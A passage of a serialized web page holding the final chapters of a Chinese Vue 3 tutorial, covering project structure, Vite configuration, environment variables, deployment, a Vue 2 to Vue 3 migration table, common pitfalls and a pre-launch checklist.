views\u002F            路由页面级组件\n    ├── composables\u002F      useXxx 组合式函数（第十三章）\n    ├── stores\u002F           Pinia（第十五章）\n    ├── router\u002F           Vue Router（第十六章）\n    └── utils\u002F            纯函数工具\n",[22,34902,34900],{"__ignoreMap":314},[11,34904,34905,34906,272,34909,34911,34912,161],{},"Nuxt 项目结构不一样（",[22,34907,34908],{},"app\u002Fpages",[22,34910,8836],{},"、自动导入），那是姊妹篇《Nuxt 教程》的内容——",[17,34913,34914],{},"语法同源，工程外壳不同",[53,34916,34917],{"id":34917},"单文件组件的三块",[308,34919,34921],{"className":5996,"code":34920,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\n\u002F* 逻辑：组合式 API 写在这里，顶层声明的东西模板直接可用 *\u002F\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003C!-- 结构：只允许一个根节点吗？不必，Vue 3 支持多根（fragment），但要注意 attrs 继承（第七章） -->\n\u003C\u002Ftemplate>\n\n\u003Cstyle scoped>\n\u002F* 样式：scoped 给这个组件的类名加哈希，不会污染全局 *\u002F\n.box { border: 1px solid #ddd; }\n:deep(.el-input__inner) { background: transparent; }   \u002F* 穿透到子组件\u002F第三方组件内部 *\u002F\n\u003C\u002Fstyle>\n",[22,34922,34923,34933,34938,34946,34950,34958,34963,34971,34975,34986,34991,35013,35037],{"__ignoreMap":314},[331,34924,34925,34927,34929,34931],{"class":333,"line":334},[331,34926,510],{"class":337},[331,34928,891],{"class":497},[331,34930,6299],{"class":501},[331,34932,505],{"class":337},[331,34934,34935],{"class":333,"line":341},[331,34936,34937],{"class":1003},"\u002F* 逻辑：组合式 API 写在这里，顶层声明的东西模板直接可用 *\u002F\n",[331,34939,34940,34942,34944],{"class":333,"line":357},[331,34941,788],{"class":337},[331,34943,891],{"class":497},[331,34945,505],{"class":337},[331,34947,34948],{"class":333,"line":371},[331,34949,998],{"emptyLinePlaceholder":997},[331,34951,34952,34954,34956],{"class":333,"line":384},[331,34953,510],{"class":337},[331,34955,6012],{"class":497},[331,34957,505],{"class":337},[331,34959,34960],{"class":333,"line":397},[331,34961,34962],{"class":1003},"  \u003C!-- 结构：只允许一个根节点吗？不必，Vue 3 支持多根（fragment），但要注意 attrs 继承（第七章） -->\n",[331,34964,34965,34967,34969],{"class":333,"line":418},[331,34966,788],{"class":337},[331,34968,6012],{"class":497},[331,34970,505],{"class":337},[331,34972,34973],{"class":333,"line":427},[331,34974,998],{"emptyLinePlaceholder":997},[331,34976,34977,34979,34981,34984],{"class":333,"line":439},[331,34978,510],{"class":337},[331,34980,595],{"class":497},[331,34982,34983],{"class":501}," scoped",[331,34985,505],{"class":337},[331,34987,34988],{"class":333,"line":450},[331,34989,34990],{"class":1003},"\u002F* 样式：scoped 给这个组件的类名加哈希，不会污染全局 *\u002F\n",[331,34992,34993,34996,34998,35000,35002,35004,35006,35008,35011],{"class":333,"line":456},[331,34994,34995],{"class":501},".box",[331,34997,605],{"class":337},[331,34999,24063],{"class":344},[331,35001,348],{"class":337},[331,35003,7993],{"class":344},[331,35005,617],{"class":616},[331,35007,24072],{"class":344},[331,35009,35010],{"class":344}," #ddd",[331,35012,664],{"class":337},[331,35014,35015,35018,35021,35023,35026,35028,35031,35034],{"class":333,"line":775},[331,35016,35017],{"class":337},":deep(",[331,35019,35020],{"class":501},".el-input__inner",[331,35022,31033],{"class":337},[331,35024,35025],{"class":344},"background",[331,35027,348],{"class":337},[331,35029,35030],{"class":344},"transparent",[331,35032,35033],{"class":337},"; }   ",[331,35035,35036],{"class":1003},"\u002F* 穿透到子组件\u002F第三方组件内部 *\u002F\n",[331,35038,35039,35041,35043],{"class":333,"line":785},[331,35040,788],{"class":337},[331,35042,595],{"class":497},[331,35044,505],{"class":337},[11,35046,35047,35050,35051,35057],{},[22,35048,35049],{},"scoped"," 不是 CSS Modules，它只是加了属性选择器；",[17,35052,35053,35054],{},"第三方组件内部的样式还得靠 ",[22,35055,35056],{},":deep()","（这是「我的样式怎么不生效」的高频答案）。",[53,35059,35061],{"id":35060},"别名代理与构建配置","别名、代理与构建配置",[308,35063,35065],{"className":942,"code":35064,"language":944,"meta":314,"style":314},"\u002F\u002F vite.config.js\nimport { fileURLToPath, URL } from 'node:url'\nimport { defineConfig } from 'vite'\nimport vue from '@vitejs\u002Fplugin-vue'\n\nexport default defineConfig({\n  plugins: [vue()],\n  resolve: {\n    alias: { '@': fileURLToPath(new URL('.\u002Fsrc', import.meta.url)) }   \u002F\u002F import '@\u002Fstores\u002Fuser'\n  },\n  server: {\n    proxy: { '\u002Fapi': { target: 'http:\u002F\u002Flocalhost:8080', changeOrigin: true } }  \u002F\u002F 开发期跨域\n  },\n  base: '\u002Fshop\u002F'    \u002F\u002F 部署在子路径时必须设置，否则资源 404\n})\n",[22,35066,35067,35072,35084,35096,35108,35112,35123,35133,35138,35177,35181,35186,35207,35211,35222],{"__ignoreMap":314},[331,35068,35069],{"class":333,"line":334},[331,35070,35071],{"class":1003},"\u002F\u002F vite.config.js\n",[331,35073,35074,35076,35079,35081],{"class":333,"line":341},[331,35075,4648],{"class":616},[331,35077,35078],{"class":337}," { fileURLToPath, URL } ",[331,35080,13735],{"class":616},[331,35082,35083],{"class":365}," 'node:url'\n",[331,35085,35086,35088,35091,35093],{"class":333,"line":357},[331,35087,4648],{"class":616},[331,35089,35090],{"class":337}," { defineConfig } ",[331,35092,13735],{"class":616},[331,35094,35095],{"class":365}," 'vite'\n",[331,35097,35098,35100,35103,35105],{"class":333,"line":371},[331,35099,4648],{"class":616},[331,35101,35102],{"class":337}," vue ",[331,35104,13735],{"class":616},[331,35106,35107],{"class":365}," '@vitejs\u002Fplugin-vue'\n",[331,35109,35110],{"class":333,"line":384},[331,35111,998],{"emptyLinePlaceholder":997},[331,35113,35114,35116,35118,35121],{"class":333,"line":397},[331,35115,5219],{"class":616},[331,35117,5222],{"class":616},[331,35119,35120],{"class":501}," defineConfig",[331,35122,1250],{"class":337},[331,35124,35125,35128,35130],{"class":333,"line":418},[331,35126,35127],{"class":337},"  plugins: [",[331,35129,5998],{"class":501},[331,35131,35132],{"class":337},"()],\n",[331,35134,35135],{"class":333,"line":427},[331,35136,35137],{"class":337},"  resolve: {\n",[331,35139,35140,35143,35146,35148,35151,35153,35156,35158,35160,35163,35165,35167,35169,35171,35174],{"class":333,"line":439},[331,35141,35142],{"class":337},"    alias: { ",[331,35144,35145],{"class":365},"'@'",[331,35147,348],{"class":337},[331,35149,35150],{"class":501},"fileURLToPath",[331,35152,966],{"class":337},[331,35154,35155],{"class":616},"new",[331,35157,16358],{"class":501},[331,35159,966],{"class":337},[331,35161,35162],{"class":365},"'.\u002Fsrc'",[331,35164,409],{"class":337},[331,35166,4648],{"class":616},[331,35168,1192],{"class":337},[331,35170,540],{"class":344},[331,35172,35173],{"class":337},".url)) }   ",[331,35175,35176],{"class":1003},"\u002F\u002F import '@\u002Fstores\u002Fuser'\n",[331,35178,35179],{"class":333,"line":450},[331,35180,2916],{"class":337},[331,35182,35183],{"class":333,"line":456},[331,35184,35185],{"class":337},"  server: {\n",[331,35187,35188,35191,35193,35195,35197,35199,35201,35204],{"class":333,"line":775},[331,35189,35190],{"class":337},"    proxy: { ",[331,35192,9278],{"class":365},[331,35194,11455],{"class":337},[331,35196,11458],{"class":365},[331,35198,11461],{"class":337},[331,35200,1131],{"class":344},[331,35202,35203],{"class":337}," } }  ",[331,35205,35206],{"class":1003},"\u002F\u002F 开发期跨域\n",[331,35208,35209],{"class":333,"line":785},[331,35210,2916],{"class":337},[331,35212,35213,35216,35219],{"class":333,"line":795},[331,35214,35215],{"class":337},"  base: ",[331,35217,35218],{"class":365},"'\u002Fshop\u002F'",[331,35220,35221],{"class":1003},"    \u002F\u002F 部署在子路径时必须设置，否则资源 404\n",[331,35223,35224],{"class":333,"line":805},[331,35225,5399],{"class":337},[11,35227,35228,35230,35231,35234,35235,35238,35239,35242,35243,35246],{},[22,35229,15338],{}," 这一行是「本地正常、上线白屏」的第一嫌疑人。站点挂在 ",[22,35232,35233],{},"https:\u002F\u002Fsite.com\u002Fshop\u002F"," 下却没配 ",[22,35236,35237],{},"base: '\u002Fshop\u002F'","，产物里的 ",[22,35240,35241],{},"\u003Cscript src=\"\u002Fassets\u002Findex-xxx.js\">"," 就会指到根路径去要文件（示例 08 的部署检查器就是为这个坑做的）。同时用 history 路由的话，",[22,35244,35245],{},"createWebHistory('\u002Fshop\u002F')"," 的 base 要和它保持一致。",[53,35248,35250,35251,35254],{"id":35249},"环境变量只有-vite_-开头的才会进前端","环境变量：只有 ",[22,35252,35253],{},"VITE_"," 开头的才会进前端",[308,35256,35258],{"className":3902,"code":35257,"language":3904,"meta":314,"style":314},"# .env.development\nVITE_API_BASE=http:\u002F\u002Flocalhost:8080\u002Fapi\nVITE_APP_TITLE=本地调试\n",[22,35259,35260,35265,35275],{"__ignoreMap":314},[331,35261,35262],{"class":333,"line":334},[331,35263,35264],{"class":1003},"# .env.development\n",[331,35266,35267,35270,35272],{"class":333,"line":341},[331,35268,35269],{"class":337},"VITE_API_BASE",[331,35271,518],{"class":616},[331,35273,35274],{"class":365},"http:\u002F\u002Flocalhost:8080\u002Fapi\n",[331,35276,35277,35280,35282],{"class":333,"line":357},[331,35278,35279],{"class":337},"VITE_APP_TITLE",[331,35281,518],{"class":616},[331,35283,35284],{"class":365},"本地调试\n",[308,35286,35288],{"className":942,"code":35287,"language":944,"meta":314,"style":314},"const base = import.meta.env.VITE_API_BASE\nconsole.log(import.meta.env.MODE, import.meta.env.DEV, import.meta.env.PROD)\n",[22,35289,35290,35311],{"__ignoreMap":314},[331,35291,35292,35294,35297,35299,35301,35303,35305,35308],{"class":333,"line":334},[331,35293,951],{"class":616},[331,35295,35296],{"class":344}," base",[331,35298,957],{"class":616},[331,35300,30179],{"class":616},[331,35302,1192],{"class":337},[331,35304,540],{"class":344},[331,35306,35307],{"class":337},".env.",[331,35309,35310],{"class":344},"VITE_API_BASE\n",[331,35312,35313,35315,35317,35319,35321,35323,35325,35327,35330,35332,35334,35336,35338,35340,35343,35345,35347,35349,35351,35353,35356],{"class":333,"line":341},[331,35314,28055],{"class":337},[331,35316,3533],{"class":501},[331,35318,966],{"class":337},[331,35320,4648],{"class":616},[331,35322,1192],{"class":337},[331,35324,540],{"class":344},[331,35326,35307],{"class":337},[331,35328,35329],{"class":344},"MODE",[331,35331,409],{"class":337},[331,35333,4648],{"class":616},[331,35335,1192],{"class":337},[331,35337,540],{"class":344},[331,35339,35307],{"class":337},[331,35341,35342],{"class":344},"DEV",[331,35344,409],{"class":337},[331,35346,4648],{"class":616},[331,35348,1192],{"class":337},[331,35350,540],{"class":344},[331,35352,35307],{"class":337},[331,35354,35355],{"class":344},"PROD",[331,35357,972],{"class":337},[11,35359,35360,35362,35363,35366,35367,35369,35370,4809,35372,35374],{},[22,35361,11149],{}," 里的值会被",[17,35364,35365],{},"编译进产物","——任何人 ",[22,35368,11413],{}," 查看源码就能拿到。后端密钥、数据库连接串绝对不能放这里；要放就放到服务端（Nuxt 的 ",[22,35371,8836],{},[22,35373,11141],{}," 是标准做法）。",[53,35376,35378],{"id":35377},"typescript值不值","TypeScript：值不值",[11,35380,35381,35382,35385,35386,161],{},"值，但建议第二步再上。Vue 3 对 TS 的支持很好（",[22,35383,35384],{},"defineProps\u003C{}>()"," 泛型写法、模板类型检查），代价是学习曲线叠加。折中路线：先写 JS + JSDoc 注释（本项目的 composable 就是这么写的），需要时再把关键模块换成 ",[22,35387,35388],{},".ts",[308,35390,35392],{"className":3902,"code":35391,"language":3904,"meta":314,"style":314},"npm i -D typescript vue-tsc\nnpx vue-tsc --noEmit      # 类型检查（vue-tsc 才认得 .vue 文件）\n",[22,35393,35394,35410],{"__ignoreMap":314},[331,35395,35396,35398,35401,35404,35407],{"class":333,"line":334},[331,35397,4989],{"class":501},[331,35399,35400],{"class":365}," i",[331,35402,35403],{"class":344}," -D",[331,35405,35406],{"class":365}," typescript",[331,35408,35409],{"class":365}," vue-tsc\n",[331,35411,35412,35414,35417,35420],{"class":333,"line":341},[331,35413,4966],{"class":501},[331,35415,35416],{"class":365}," vue-tsc",[331,35418,35419],{"class":344}," --noEmit",[331,35421,35422],{"class":1003},"      # 类型检查（vue-tsc 才认得 .vue 文件）\n",[53,35424,35425],{"id":35425},"部署与调试",[308,35427,35429],{"className":3902,"code":35428,"language":3904,"meta":314,"style":314},"npm run build       # 产物在 dist\u002F\nnpm run preview     # 本地按生产方式跑一遍，上线前必做\n",[22,35430,35431,35443],{"__ignoreMap":314},[331,35432,35433,35435,35437,35440],{"class":333,"line":334},[331,35434,4989],{"class":501},[331,35436,5020],{"class":365},[331,35438,35439],{"class":365}," build",[331,35441,35442],{"class":1003},"       # 产物在 dist\u002F\n",[331,35444,35445,35447,35449,35452],{"class":333,"line":341},[331,35446,4989],{"class":501},[331,35448,5020],{"class":365},[331,35450,35451],{"class":365}," preview",[331,35453,35454],{"class":1003},"     # 本地按生产方式跑一遍，上线前必做\n",[1773,35456,35457,35472,35482,35488],{},[1662,35458,35459,35468,35469,35471],{},[17,35460,35461,35464,35465,35467],{},[22,35462,35463],{},"npm run dev"," 正常但 ",[22,35466,15760],{}," 后白屏","：99% 是 ",[22,35470,15338],{}," 或 history fallback 的问题（上一节）。",[1662,35473,35474,35477,35478,35481],{},[17,35475,35476],{},"上线后没有警告","：生产构建剥掉了 props 校验、路由警告。上线前一定 ",[22,35479,35480],{},"npm run build && npm run preview"," 走一遍。",[1662,35483,35484,35487],{},[17,35485,35486],{},"Vue Devtools","：浏览器扩展，能看到组件树、响应式数据、Pinia、路由器。装好后组件里会多一个「检查」按钮。",[1662,35489,35490,322,35493,35496],{},[17,35491,35492],{},"打包体积",[22,35494,35495],{},"rollup-plugin-visualizer"," 看谁占大头；路由级懒加载（第十六章）通常是最有效的一刀。",[53,35498,35500],{"id":35499},"vue-2-vue-3-迁移对照读老代码用","Vue 2 → Vue 3 迁移对照（读老代码用）",[57,35502,35503,35516],{},[60,35504,35505],{},[63,35506,35507,35510,35513],{},[66,35508,35509],{},"主题",[66,35511,35512],{},"Vue 2",[66,35514,35515],{},"Vue 3",[79,35517,35518,35533,35547,35558,35576,35589,35602,35622,35636,35650,35678,35694,35713,35732],{},[63,35519,35520,35523,35528],{},[84,35521,35522],{},"创建实例",[84,35524,35525],{},[22,35526,35527],{},"new Vue({ render })",[84,35529,35530],{},[22,35531,35532],{},"createApp(App).mount('#el')",[63,35534,35535,35537,35542],{},[84,35536,24619],{},[84,35538,35539],{},[22,35540,35541],{},"Vue.component",[84,35543,35544,35546],{},[22,35545,18293],{},"（作用域只在某个 app）",[63,35548,35549,35552,35555],{},[84,35550,35551],{},"组件根节点",[84,35553,35554],{},"必须单根",[84,35556,35557],{},"允许多根（fragment）",[63,35559,35560,35563,35568],{},[84,35561,35562],{},"v-model 自定义",[84,35564,35565],{},[22,35566,35567],{},"model: { prop, event }",[84,35569,35570,4809,35572,26190,35574],{},[22,35571,22845],{},[22,35573,22848],{},[22,35575,26283],{},[63,35577,35578,35581,35586],{},[84,35579,35580],{},"事件总线",[84,35582,35583],{},[22,35584,35585],{},"$on\u002F$off\u002F$once",[84,35587,35588],{},"已移除，用 mitt 或 store",[63,35590,35591,35594,35599],{},[84,35592,35593],{},"过滤器",[84,35595,35596],{},[22,35597,35598],{},"{{ x | f }}",[84,35600,35601],{},"已移除，用 computed\u002F方法",[63,35603,35604,35607,35615],{},[84,35605,35606],{},"生命周期",[84,35608,35609,1901,35612],{},[22,35610,35611],{},"beforeDestroy",[22,35613,35614],{},"destroyed",[84,35616,35617,1901,35620],{},[22,35618,35619],{},"beforeUnmount",[22,35621,20042],{},[63,35623,35624,35627,35632],{},[84,35625,35626],{},"逻辑复用",[84,35628,35629],{},[22,35630,35631],{},"mixins",[84,35633,14316,35634],{},[22,35635,5574],{},[63,35637,35638,35641,35647],{},[84,35639,35640],{},"响应式限制",[84,35642,35643,35644],{},"新增属性要 ",[22,35645,35646],{},"Vue.set",[84,35648,35649],{},"Proxy，直接赋值即可",[63,35651,35652,35655,35666],{},[84,35653,35654],{},"指令钩子名",[84,35656,35657,1901,35660,1901,35663],{},[22,35658,35659],{},"bind",[22,35661,35662],{},"inserted",[22,35664,35665],{},"componentUpdated",[84,35667,35668,1901,35670,1901,35672,1901,35674,1901,35676],{},[22,35669,28195],{},[22,35671,17953],{},[22,35673,20029],{},[22,35675,35619],{},[22,35677,20042],{},[63,35679,35680,35682,35689],{},[84,35681,19419],{},[84,35683,35684,1901,35687],{},[22,35685,35686],{},"slot=\"x\"",[22,35688,26890],{},[84,35690,35691],{},[22,35692,35693],{},"\u003Ctemplate #x=\"{ data }\">",[63,35695,35696,35698,35706],{},[84,35697,20397],{},[84,35699,35700,272,35703],{},[22,35701,35702],{},".native",[22,35704,35705],{},".sync",[84,35707,35708,35709,4843,35711,5149],{},"都已移除（",[22,35710,35705],{},[22,35712,26283],{},[63,35714,35715,35720,35726],{},[84,35716,35717,35719],{},[22,35718,8230],{}," 位置",[84,35721,35722,35725],{},[22,35723,35724],{},"\u003Ctemplate v-for>"," 不支持 key",[84,35727,35728,35731],{},[22,35729,35730],{},"\u003Ctemplate v-for :key>"," 合法",[63,35733,35734,35737,35745],{},[84,35735,35736],{},"CSS 作用域",[84,35738,35739,272,35742],{},[22,35740,35741],{},"\u002Fdeep\u002F",[22,35743,35744],{},">>>",[84,35746,35747],{},[22,35748,35056],{},[4748,35750],{"height":6589,"src":15369,"title":35751},"跨课示例（Nuxt 教程 示例 08）：base 与部署子路径的资源路径检查器",[53,35753,4796],{"id":35754},"️-本章的坑-16",[11,35756,35757,268,35760,35763,35764],{},[17,35758,35759],{},"1. 大小写敏感只在 Linux 上出现。",[22,35761,35762],{},"import TodoItem from '.\u002Fcomponents\u002Ftodointerface.vue'"," 在 Windows\u002FmacOS 能跑，CI（Linux）直接构建失败。",[17,35765,35766],{},"文件路径一律与真实文件名逐字符一致。",[11,35768,35769,268,35775,35777,35778,35781],{},[17,35770,35771,35772,161],{},"2. 忘了装 ",[22,35773,35774],{},"@vitejs\u002Fplugin-vue",[22,35776,3878],{}," 文件被当普通文本，报错内容通常是 ",[22,35779,35780],{},"Unexpected token '\u003C'","。模板里选了 vue 却没装插件（或自己接 Vite 时漏配）都会这样。",[11,35783,35784,16490,35789,35792,35793,35795],{},[17,35785,6665,35786,35788],{},[22,35787,15338],{}," 与路由 history base 不一致。",[22,35790,35791],{},"\u002Fshop\u002F","、一个 ",[22,35794,655],{},"，表现是「资源能加载但路由一跳就跑出子目录」，或者反过来。两处一起改。",[11,35797,35798,268,35804,35807,35808,35810],{},[17,35799,35800,35801,35803],{},"4. 环境变量没加 ",[22,35802,35253],{}," 前缀。",[22,35805,35806],{},"API_BASE=xxx"," 在前端读出来是 ",[22,35809,5872],{},"（Vite 有意不暴露），别怀疑是 Vue 的锅。",[11,35812,35813,35817,35818,35820,35821,18878,35823,35825],{},[17,35814,5734,35815,11572],{},[22,35816,11149],{}," 里面有生产接口地址、埋点 key 都会被打包出去。",[22,35819,11149],{}," 进 ",[22,35822,11576],{},[22,35824,11580],{}," 出模板。",[11,35827,35828,29688,35833,35836],{},[17,35829,7717,35830,35832],{},[22,35831,35049],{}," 里改第三方组件样式没生效。",[22,35834,35835],{},":deep(.xxx)","，或者干脆给组件传 class 让库自己处理。",[11,35838,35839,35842,35843,35846,35847,35849,35850,35853],{},[17,35840,35841],{},"7. dev 环境跨域正常，生产 404。"," 开发期靠 ",[22,35844,35845],{},"server.proxy"," 骗过了同源限制，线上必须由 nginx\u002F网关反代同一 ",[22,35848,10320],{}," 前缀。上线前用 ",[22,35851,35852],{},"npm run preview"," + 真实反代验证。",[11,35855,35856,35864],{},[17,35857,35858,35859,5649,35862,161],{},"8. 一次改完就 ",[22,35860,35861],{},"git commit",[22,35863,15760],{}," 类型错误、模板语法错误只在构建期暴露，别把「dev 能跑」当成「能上线」。",[53,35866,35868],{"id":35867},"附新项目起手清单","附：新项目起手清单",[57,35870,35871,35879],{},[60,35872,35873],{},[63,35874,35875,35877],{},[66,35876,5801],{},[66,35878,3723],{},[79,35880,35881,35891,35911,35922,35937,35948,35959,35972],{},[63,35882,35883,35886],{},[84,35884,35885],{},"创建",[84,35887,35888,35890],{},[22,35889,17679],{},"，Router \u002F Pinia 按需勾选",[63,35892,35893,35896],{},[84,35894,35895],{},"目录",[84,35897,35898,35900,35901,35903,35904,35906,35907,35910],{},[22,35899,6619],{}," 页面、",[22,35902,4644],{}," 复用件、",[22,35905,29576],{}," 逻辑、",[22,35908,35909],{},"stores\u002F"," 全局状态",[63,35912,35913,35915],{},[84,35914,23774],{},[84,35916,35917,4843,35919,35921],{},[22,35918,20285],{},[22,35920,18817],{},"（脚手架已配）",[63,35923,35924,35927],{},[84,35925,35926],{},"请求",[84,35928,35929,655,35931,35934,35935,29595],{},[22,35930,5614],{},[22,35932,35933],{},"fetch"," 封装一层，baseURL 从 ",[22,35936,11614],{},[63,35938,35939,35942],{},[84,35940,35941],{},"校验",[84,35943,35944,35945],{},"ESLint + Prettier（脚手架选上），提交前 ",[22,35946,35947],{},"--fix",[63,35949,35950,35952],{},[84,35951,8896],{},[84,35953,3283,35954,35956,35957],{},[22,35955,944],{}," + JSDoc，重要模块逐步换 ",[22,35958,5207],{},[63,35960,35961,35964],{},[84,35962,35963],{},"部署",[84,35965,35966,35967,35969,35970],{},"子路径记得 ",[22,35968,15338],{},"；history 路由记得 ",[22,35971,15488],{},[63,35973,35974,35977],{},[84,35975,35976],{},"上线前",[84,35978,35979,35981],{},[22,35980,35480],{}," 全点一遍 + Devtools 看警告",[48,35983,35985],{"id":35984},"十九收尾vue-3-的坑汇总与下一步","十九、收尾：Vue 3 的坑汇总与下一步",[11,35987,35988],{},"各章的「⚠️ 本章的坑」收进一张表，按「症状」来查最省事——因为你多半是在页面上看到一个怪现象才想起翻教程的。",[53,35990,16892],{"id":16892},[57,35992,35993,36003],{},[60,35994,35995],{},[63,35996,35997,35999,36001],{},[66,35998,4163],{},[66,36000,16903],{},[66,36002,16906],{},[79,36004,36005,36019,36035,36049,36063,36074,36087,36100,36116,36136,36153,36167,36183,36197,36213],{},[63,36006,36007,36013,36016],{},[84,36008,36009,36010],{},"页面空白、控制台报 ",[22,36011,36012],{},"Failed to mount app",[84,36014,36015],{},"挂载目标不存在 \u002F 脚本比容器先执行",[84,36017,36018],{},"一",[63,36020,36021,36026,36032],{},[84,36022,36023,36024],{},"组件明明 import 了却 ",[22,36025,18408],{},[84,36027,36028,36029,36031],{},"路径大小写不对、忘 ",[22,36030,3878],{}," 后缀、in-DOM 标签名大小写",[84,36033,36034],{},"二、八、十八",[63,36036,36037,36043,36046],{},[84,36038,36039,36042],{},[22,36040,36041],{},"{{ count }}"," 显示成字面量",[84,36044,36045],{},"没挂载 \u002F 挂错元素 \u002F in-DOM 模板被 v-pre 跳过",[84,36047,36048],{},"一、二",[63,36050,36051,36054,36060],{},[84,36052,36053],{},"数据变了界面不动",[84,36055,36056,36057,36059],{},"解构了 reactive\u002Fstore、忘了 ",[22,36058,8879],{},"、provide 传了原始值、index 当 key 后组件被复用",[84,36061,36062],{},"四、十一、十三、十五",[63,36064,36065,36068,36071],{},[84,36066,36067],{},"改 props 出现红色警告",[84,36069,36070],{},"违反单向数据流：改成 emit 或本地副本",[84,36072,36073],{},"九",[63,36075,36076,36079,36084],{},[84,36077,36078],{},"checkbox \u002F 输入框状态串行",[84,36080,36081,36083],{},[22,36082,27979],{}," 用了 index 或缺失",[84,36085,36086],{},"十一",[63,36088,36089,36092,36098],{},[84,36090,36091],{},"点一次触发两次",[84,36093,36094,36095,36097],{},"组件未声明 ",[22,36096,25691],{},"，事件透传到根 DOM",[84,36099,36073],{},[63,36101,36102,36105,36113],{},[84,36103,36104],{},"表单一点就整页刷新",[84,36106,36107,36108,36110,36111],{},"辅助按钮没写 ",[22,36109,23636],{}," 或 submit 没 ",[22,36112,20420],{},[84,36114,36115],{},"六",[63,36117,36118,36121,36133],{},[84,36119,36120],{},"动画没效果",[84,36122,36123,36125,36126,1901,36129,36132],{},[22,36124,30413],{}," 类名缺 ",[22,36127,36128],{},"-enter-from",[22,36130,36131],{},"-leave-to","，或多根组件",[84,36134,36135],{},"七、十四",[63,36137,36138,36141,36151],{},[84,36139,36140],{},"tab 切回来数据不刷新",[84,36142,36143,36145,36146,36148,36149],{},[22,36144,28571],{}," 下 ",[22,36147,6734],{}," 只跑一次，逻辑要放 ",[22,36150,6764],{},[84,36152,17088],{},[63,36154,36155,36158,36164],{},[84,36156,36157],{},"切换路由后还在轮询",[84,36159,36160,36161,36163],{},"忘记 ",[22,36162,28166],{}," 清理定时器\u002F监听",[84,36165,36166],{},"十二",[63,36168,36169,36171,36180],{},[84,36170,16943],{},[84,36172,36173,36174,36176,36177,36179],{},"history 模式缺 ",[22,36175,15488],{}," fallback，或 ",[22,36178,15338],{}," 不一致",[84,36181,36182],{},"十六、十八",[63,36184,36185,36188,36194],{},[84,36186,36187],{},"上线后没警告、线下才发现错",[84,36189,36190,36191,36193],{},"生产构建剥掉校验；用开发版 + ",[22,36192,16574],{}," 走一遍",[84,36195,36196],{},"十八",[63,36198,36199,36202,36211],{},[84,36200,36201],{},"dev 好好的，build 后资源 404",[84,36203,36204,36205,36207,36208,36210],{},"子路径部署忘配 ",[22,36206,15338],{},"（与 Nuxt 的 ",[22,36209,4576],{}," 同一类坑）",[84,36212,36196],{},[63,36214,36215,36220,36226],{},[84,36216,36217,36218],{},"环境变量读到 ",[22,36219,5872],{},[84,36221,36222,36223,36225],{},"缺 ",[22,36224,35253],{}," 前缀",[84,36227,36196],{},[53,36229,36230],{"id":36230},"上线前核对清单",[57,36232,36233,36241],{},[60,36234,36235],{},[63,36236,36237,36239],{},[66,36238,5438],{},[66,36240,4051],{},[79,36242,36243,36259,36275,36285,36299,36307,36319,36337],{},[63,36244,36245,36248],{},[84,36246,36247],{},"模板",[84,36249,36250,36251,36253,36254,17306,36256,36258],{},"所有 ",[22,36252,20091],{}," 有稳定 ",[22,36255,27979],{},[22,36257,18588],{}," 只用于可信内容；模板表达式都是「表达式」",[63,36260,36261,36264],{},[84,36262,36263],{},"响应式",[84,36265,36266,36267,36269,36270,36272,36273],{},"没有 reactive\u002Fprops\u002Fstore 的直接解构；",[22,36268,4778],{}," 读写都带 ",[22,36271,8879],{},"；大列表用 ",[22,36274,20903],{},[63,36276,36277,36279],{},[84,36278,7753],{},[84,36280,36281,36282,36284],{},"props\u002Femits 有类型声明；不直接改 props；多根组件处理了 attrs；暴露面用 ",[22,36283,26321],{}," 收窄",[63,36286,36287,36289],{},[84,36288,35606],{},[84,36290,36291,36292,1901,36294,1901,36296,36298],{},"每个 ",[22,36293,1399],{},[22,36295,3270],{},[22,36297,5460],{},"（手动创建）都能在卸载钩子里找到对应清理",[63,36300,36301,36304],{},[84,36302,36303],{},"状态",[84,36305,36306],{},"进入 Pinia 的只有跨页面数据；持久化字段最小且带兜底；无循环引用",[63,36308,36309,36311],{},[84,36310,17249],{},[84,36312,36313,36315,36316,36318],{},[22,36314,540],{}," 权限字段与守卫配套；异步守卫有失败分支；404 兜底在最后；base 与构建 ",[22,36317,15338],{}," 一致",[63,36320,36321,36324],{},[84,36322,36323],{},"构建部署",[84,36325,36326,36328,36329,272,36331,36333,36334,36336],{},[22,36327,35480],{}," 全部路由点过；",[22,36330,15338],{},[22,36332,15488],{},"、CDN 路径核对；",[22,36335,11149],{}," 未入库且无密钥",[63,36338,36339,36342],{},[84,36340,36341],{},"可访问性",[84,36343,36344,36345,36347,36348,36350,36351,36354],{},"表单有 ",[22,36346,23394],{},"；纯图标按钮有 ",[22,36349,34747],{},"；焦点可见；",[22,36352,36353],{},"role"," 用词准确",[53,36356,36357],{"id":36357},"下一步往哪走",[11,36359,36360],{},"按性价比排序：",[1659,36362,36363,36369,36377,36383,36392],{},[1662,36364,36365,36368],{},[17,36366,36367],{},"Nuxt（本站姊妹篇《Nuxt 教程》）","：把这门课的语法搬进「有服务端、有 SEO、能直出首屏」的工程外壳。你在这里学的响应式、组件、Pinia、路由，Nuxt 全都自动导入，重点变成「数据什么时候在服务端取、什么时候在客户端取」。",[1662,36370,36371,36376],{},[17,36372,36373,36374],{},"TypeScript + ",[22,36375,16845],{},"：把 props、store、API 返回类型钉死，重构时不再靠胆量。",[1662,36378,36379,36382],{},[17,36380,36381],{},"测试","：Vitest + Vue Test Utils 测组件行为，Playwright\u002FCypress 测关键流程（登录、下单）。",[1662,36384,36385,36388,36389,36391],{},[17,36386,36387],{},"生态里绕不开的几件","：UI 库（Element Plus \u002F Naive UI \u002F shadcn-vue）、数据请求（TanStack Query 或 Nuxt 的 ",[22,36390,5482],{},"）、表格与图表（vxe-table、ECharts）、表单校验（VeeValidate \u002F zod）。",[1662,36393,36394,36396],{},[17,36395,17432],{},"：官方文档的「深入响应式系统」和「编译优化（静态提升、patch flags）」——不必通读，但看懂这两节能解释「为什么要用 computed」「为什么 key 重要」。",[11,36398,36399,36400,36403],{},"Vue 的核心其实一直只有那句话：",[17,36401,36402],{},"把界面写成数据的函数，剩下的交给框架。"," 语法、组件、路由、store 都是为了让你把这句话执行得整齐一些。愿你下次「数据变了界面不动」时，三秒内就想到是解构还是 key 的锅。",[595,36405,36406],{},"html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .snl16, html code.shiki 